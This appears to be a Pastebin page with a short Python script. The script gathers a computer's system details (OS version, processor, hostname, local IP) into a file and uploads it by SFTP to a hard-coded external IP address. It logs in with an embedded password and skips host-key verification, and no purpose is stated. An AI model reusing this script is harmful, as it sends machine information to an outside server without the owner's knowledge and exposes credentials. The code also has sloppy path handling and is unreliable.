Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Importing Modules
- import socket
- from time import strftime
- import nt
- from nt import write
- import random
- import time
- import datetime
- import paramiko
- import pysftp as sftp
- #Grabs and stores data
- import platform
- machine = platform.machine()
- ver = platform.version()
- plat = platform.platform()
- uname = platform.uname()
- sys = platform.system()
- proc = platform.processor()
- hostn = socket.gethostname()
- IP = socket.gethostbyname(hostn)
- date = datetime.datetime.today().strftime('%Y-%m-%d')
- remotePath = "sftp://54.201.26.36/sftpuser"
- password = "Z&@9u$^NhTX%CCdtbDM7zXyBKRn=^z9dVy=*sqZ&k?dZ5cL%JkLMC#q6vFYTL&UE+*b^&Pn5DYj#ZKfjG5sA!xcMrPu5+jq$wX&pJ*m^28fY-5Fb4a2AhcEx9JtRVJVc"
- print (machine)
- print (ver)
- print (plat)
- print (uname)
- print (sys)
- print (proc)
- print (date)
- UserData = open("Output"+hostn+date+".txt", "w",)
- FileName = "Output"+hostn+date+".txt"
- UserData.write("info: \nMachine: "+machine+"\nVersion: "+ver+"\n"+plat+"\nSystem: "+sys+"\nProcessor: "+proc+"\nDate: "+date+"\nIP: "+IP)
- UserData.close()
- def push_file_to_server():
- cnopts = sftp.CnOpts()
- cnopts.hostkeys = None
- s = sftp.Connection(host='54.201.26.36', username='sftpuser', password='Z&@9u$^NhTX%CCdtbDM7zXyBKRn=^z9dVy=*sqZ&k?dZ5cL%JkLMC#q6vFYTL&UE+*b^&Pn5DYj#ZKfjG5sA!xcMrPu5+jq$wX&pJ*m^28fY-5Fb4a2AhcEx9JtRVJVc', cnopts=cnopts)
- localpath1 = 'C:\\temp\\Output' + hostn + date + '.txt'
- local_path = localpath1+"Output"+hostn+date+".txt"
- myremote_path = 'sftpuser/ ' + hostn + date + '.txt'
- s.put(FileName, myremote_path)
- s.close()
- push_file_to_server()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement